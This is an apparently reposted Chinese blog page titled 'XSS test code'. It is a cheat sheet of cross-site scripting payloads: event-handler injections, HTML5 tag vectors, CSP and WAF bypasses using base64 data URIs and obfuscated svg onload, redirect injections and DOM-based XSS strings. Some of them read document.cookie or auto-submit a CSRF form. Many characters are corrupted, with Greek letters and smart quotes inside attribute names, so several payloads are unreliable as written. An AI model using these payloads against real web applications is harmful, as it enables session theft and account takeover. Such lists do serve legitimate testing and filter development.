XSS测试代码

最新推荐文章于 2024-08-18 00:48:01 发布

abg49988

最新推荐文章于 2024-08-18 00:48:01 发布

阅读量355

点赞数

文章标签： javascript php xhtml ViewUI

原文链接：http://www.cnblogs.com/ssooking/p/6542333.html

版权

无script的Xss

<img/src=# οnerrοr=alert('XSS')>

HTML5 XSS测试代码

<video> <source οnerrοr=”javascript:alert(1)”>

引入媒体类测试代码Example:
<video οnerrοr=”javascript:alert(1)”><source>
<audio οnerrοr=”javascript:alert(1)”><source>

<input autofocus οnfοcus=alert(1)>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>

表单点击测试代码Example:
<button form=test onformchange=alert(2)>X
<form><button formaction=”javascript:alert(1)”>

ByPass

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

<base href="javascript:\"> <a href="//%0aalert(/1/);//">link</a>

javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>

CSP & WAF Bypass

<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

<svg </onload ="1> (_=alert,_(1337)) "">

<img οnerrοr=alert(1) src <u></u>

重定向攻击代码:

';redirecturl='javascript:alert("XSS")
';redirecturl='http://google.com/'

Example: www.xyz.com?q="XSS Script"

 "/>alert("Xss:Priyanshu")
    "/></script><script>alert(/XSS : Priyanshu/)</script>

<body οnlοad=alert(1)>
"<body οnlοad="alert('XSS by Priyanshu')">

"><%2Fstyle<%2Fscript><script>confirm("XSS By Priyanshu")<%2Fscript>

<body οnlοad=document.getElementById("xsrf").submit()>

<a href="data:text/html;based64_,<svg/οnlοad=\u0061&#x6c;&101%72t(1)>">X</a

<a href="data:text/html;based64_,<svg/οnlοad=\u0061&#x6c;&101%72t(document.cookie)>">X</a

    http://test.com<script>alert(document.domain)</script>
    http://test.com<script>alert(document.cookie)</script>

<img src=x οnerrοr=alert(document.domain)>

x"></script><img src=x οnerrοr=alert(1)>

q=" οnclick="alert(/XSS/)

"><iframe src='javascript:prompt(/XSS/);'>

<iframe src="http://google.com"></iframe>

"><iframe src=a οnlοad=alert('XSS')<

</script><script>alert(document.cookie)</script>

<xss>alert('xss')</xss>

<iframe src="http://google.com"></iframe>

DOM Based XSS Scripts

    /default.aspx#"><img src=x οnerrοr=prompt('XSS');>
    /default.aspx#"><img src=x οnerrοr=prompt('0');>

<img src=x οnerrοr=prompt(1);> by ">

“><img src=x οnerrοr=prompt(0)>.txt.jpg

“><img src=x οnerrοr=alert(document.cookie)>

"><img src=x οnerrοr=prompt(1);>

"><script>alert('XSS')</script>

id=abc"><Script>alert(/xss/)</SCRIPT>

"><img src=" " onMouseover=prompt(/xss/);>

Default.aspx/" οnmοuseοut="confirm(1)'x="